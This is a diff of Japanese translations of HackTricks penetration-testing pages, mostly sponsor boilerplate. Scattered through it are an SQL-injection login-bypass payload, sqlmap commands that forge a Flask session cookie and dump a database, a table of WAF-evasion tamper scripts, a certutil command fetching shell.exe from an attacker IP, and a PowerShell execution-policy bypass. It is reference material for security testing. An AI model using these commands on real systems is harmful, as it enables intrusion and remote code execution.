**実際のビジネスに影響を与える重で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -751,7 +751,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,27 +1,27 @@
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
このリストには**XPath、LDAP、SQLインジェクションを介してログインをバイパスするためのペイロード**が含まれています(その順序で)。 このリストには**XPath、LDAP、およびSQLインジェクションを介してログインをバイパスするためのペイロード**が含まれています(その順序で)。
このリストの使用方法は、**最初の200行をユーザー名とパスワードとして入力することです。** 次に、完全なリストを最初にユーザー名に、次にパスワード入力に入れ、いくつかのパスワード_Pass1234._または既知のユーザー名_admin_を入力します。 このリストの使用方法は、**最初の200行をユーザー名とパスワードとして入力することです。** 次に、完全なリストを最初にユーザー名に、次にパスワード入力に入れ、いくつかのパスワード_Pass1234._または既知のユーザー名_admin_を入力します。
``` ```
@ -832,7 +832,7 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。

View file

@ -10,14 +10,14 @@ GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -100,7 +100,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
``` ```
### Eval ### Eval
**Sqlmap** は、ペイロードを送信する前にいくつかの Python ワンライナーで処理するために `-e` または `--eval` を使用することを許可します。これにより、送信する前にペイロードをカスタムな方法で処理することが非常に簡単かつ迅速になります。次の例では、**flask cookie session** **は、送信する前に既知の秘密で flask によって署名されています**: **Sqlmap** は、ペイロードを送信する前にいくつかの Python ワンライナーで処理するために `-e` または `--eval` を使用することを許可します。これにより、送信する前にペイロードをカスタムな方法で非常に簡単かつ迅速に処理できます。次の例では、**flask cookie session** **は、送信する前に既知の秘密で flask によって署名されています**:
```bash ```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
``` ```
@ -162,52 +162,52 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応物に置き換えます。 | | apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応物に置き換えます。 |
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 | | appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 |
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 | | base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
| between.py | 大なり演算子('>')を「NOT BETWEEN 0 AND #」に置き換えます。 | | between.py | 大なり演算子('>')を 'NOT BETWEEN 0 AND #' に置き換えます。 |
| bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字「=」をLIKE演算子に置き換えます。 | | bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字 '=' を LIKE 演算子に置き換えます。 |
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードしますすでにエンコードされたものは処理しません。 | | chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードしますすでにエンコードされたものは処理しません |
| commalesslimit.py | 「LIMIT M, N」のようなインスタンスを「LIMIT N OFFSET M」に置き換えます。 | | commalesslimit.py | 'LIMIT M, N' のようなインスタンスを 'LIMIT N OFFSET M' に置き換えます。 |
| commalessmid.py | 「MID(A, B, C)」のようなインスタンスを「MID(A FROM B FOR C)」に置き換えます。 | | commalessmid.py | 'MID(A, B, C)' のようなインスタンスを 'MID(A FROM B FOR C)' に置き換えます。 |
| concat2concatws.py | 「CONCAT(A, B)」のようなインスタンスを「CONCAT_WS(MID(CHAR(0), 0, 0), A, B)」に置き換えます。 | | concat2concatws.py | 'CONCAT(A, B)' のようなインスタンスを 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' に置き換えます。 |
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードしますすでにエンコードされたものは処理しません。 | | charencode.py | 指定されたペイロード内のすべての文字をURLエンコードしますすでにエンコードされたものは処理しません |
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません。"%u0022" | | charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません "%u0022" |
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません。"\u0022" | | charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません "\u0022" |
| equaltolike.py | 演算子「=」のすべての出現を演算子「LIKE」に置き換えます。 | | equaltolike.py | 演算子等号('=')のすべての出現を演算子 'LIKE' に置き換えます。 |
| escapequotes.py | クォート(' と ")をスラッシュでエスケープします。 | | escapequotes.py | スラッシュで引用符(' と ")をエスケープします。 |
| greatest.py | 大なり演算子('>')を「GREATEST」対応物に置き換えます。 | | greatest.py | 大なり演算子('>')を 'GREATEST' 対応物に置き換えます。 |
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 | | halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
| ifnull2ifisnull.py | 「IFNULL(A, B)」のようなインスタンスを「IF(ISNULL(A), B, A)」に置き換えます。 | | ifnull2ifisnull.py | 'IFNULL(A, B)' のようなインスタンスを 'IF(ISNULL(A), B, A)' に置き換えます。 |
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 | | modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 | | modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 | | multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
| nonrecursivereplacement.py | 定義済みのSQLキーワードを置き換えに適した表現に置き換えます.replace("SELECT", "")フィルター)。 | | nonrecursivereplacement.py | 事前定義されたSQLキーワードを置き換えに適した表現に置き換えます.replace("SELECT", "") フィルター)。 |
| percentage.py | 各文字の前にパーセント記号('%')を追加します。 | | percentage.py | 各文字の前にパーセント記号('%')を追加します。 |
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 | | overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 | | randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 | | randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
| securesphere.py | 特別に作成された文字列を追加します。 | | securesphere.py | 特別に作成された文字列を追加します。 |
| sp\_password.py | ペイロードの末尾に「sp\_password」を追加し、DBMSログから自動的に難読化します。 | | sp\_password.py | ペイロードの末尾に 'sp\_password' を追加し、DBMSログから自動的に難読化します。 |
| space2comment.py | スペース文字(' ')をコメントに置き換えます。 | | space2comment.py | スペース文字(' ')をコメントに置き換えます。 |
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 | | space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 | | space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 | | space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからランダムな空白文字に置き換えます。 | | space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからランダムな空白文字に置き換えます。 |
| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、改行('\n')を追加します。 | | space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、改行('\n')を追加します。 |
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからランダムな空白文字に置き換えます。 | | space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからランダムな空白文字に置き換えます。 |
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、改行('\n')を追加します。 | | space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、改行('\n')を追加します。 |
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 | | space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 |
| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからランダムな空白文字に置き換えます。 | | space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからランダムな空白文字に置き換えます。 |
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応物&&および)に置き換えます。 | | symboliclogical.py | ANDおよびOR論理演算子をその記号対応物&&および)に置き換えます。 |
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます。 | | unionalltounion.py | UNION ALL SELECT UNION SELECT に置き換えます。 |
| unmagicquotes.py | クォート文字(')をマルチバイトコンボ%bf%27に置き換え、最後に一般的なコメントを追加します(動作させるため)。 | | unmagicquotes.py | 引用文字(')をマルチバイトコンボ %bf%27 に置き換え、最後に一般的なコメントを追加します(動作させるため)。 |
| uppercase.py | 各キーワード文字を大文字の「INSERT」に置き換えます。 | | uppercase.py | 各キーワード文字を大文字の値 'INSERT' に置き換えます。 |
| varnish.py | HTTPヘッダー「X-originating-IP」を追加します。 | | varnish.py | HTTPヘッダー 'X-originating-IP' を追加します。 |
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 | | versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 | | versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
| xforwardedfor.py | 偽のHTTPヘッダー「X-Forwarded-For」を追加します。 | | xforwardedfor.py | 偽のHTTPヘッダー 'X-Forwarded-For' を追加します。 |
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
@ -223,7 +223,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。**
* ハッキングのトリックを共有するに、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,9 +17,9 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -45,7 +45,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
{% hint style="info" %} {% hint style="info" %}
ほとんどのウェブアプリケーションは、**ユーザーが後で処理されるデータを入力することを許可します。**\ ほとんどのウェブアプリケーションは、**ユーザーが後で処理されるデータを入力することを許可します。**\
データの構造によって、サーバーが期待する脆弱性が適用される場合とされない場合があります。 データの構造によって、サーバーが期待する脆弱性が適用される場合とされない場合があります。
{% endhint %} {% endhint %}
### **反映された値** ### **反映された値**
@ -95,7 +95,7 @@ WebSocketがメッセージを投稿したり、ユーザーがアクション
### **HTTPヘッダー** ### **HTTPヘッダー**
ウェブサーバーから提供されるHTTPヘッダーによって、いくつかの脆弱性が存在する可能性があります。 ウェブサーバーから提供されるHTTPヘッダーによって、いくつかの脆弱性が存在する可能性があります。
* [ ] [**クリックジャッキング**](clickjacking.md) * [ ] [**クリックジャッキング**](clickjacking.md)
* [ ] [**コンテンツセキュリティポリシーのバイパス**](content-security-policy-csp-bypass/) * [ ] [**コンテンツセキュリティポリシーのバイパス**](content-security-policy-csp-bypass/)
@ -118,7 +118,7 @@ WebSocketがメッセージを投稿したり、ユーザーがアクション
### **構造化されたオブジェクト/特定の機能** ### **構造化されたオブジェクト/特定の機能**
いくつかの機能は、**データが非常に特定の形式で構造化されることを必要とします**言語シリアライズオブジェクトやXMLのように。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\ いくつかの機能は、**データが非常に特定の形式で構造化されることを必要とします**言語シリアライズオブジェクトやXMLのように。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\
特定の入力形式が使用される場合、**特定の機能**も脆弱である可能性があります(メールヘッダーインジェクションのように)。 特定の形式の入力が使用される場合、いくつかの**特定の機能**も脆弱である可能性があります(メールヘッダーインジェクションのように)。
* [ ] [**デシリアライズ**](deserialization/) * [ ] [**デシリアライズ**](deserialization/)
* [ ] [**メールヘッダーインジェクション**](email-injections.md) * [ ] [**メールヘッダーインジェクション**](email-injections.md)
@ -153,9 +153,9 @@ WebSocketがメッセージを投稿したり、ユーザーがアクション
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,7 +17,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -288,7 +288,7 @@ Certutil.exe
``` ```
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
``` ```
**`Download`を検索してさらに多くを見つける** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/) **`Download`を検索してさらに多くの情報を見つけるには** [**https://lolbas-project.github.io**](https://lolbas-project.github.io/)
## その他 ## その他
```bash ```bash
@ -419,7 +419,7 @@ powershell -ep bypass - < c:\temp:ttt
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する **ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -436,7 +436,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,19 +17,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
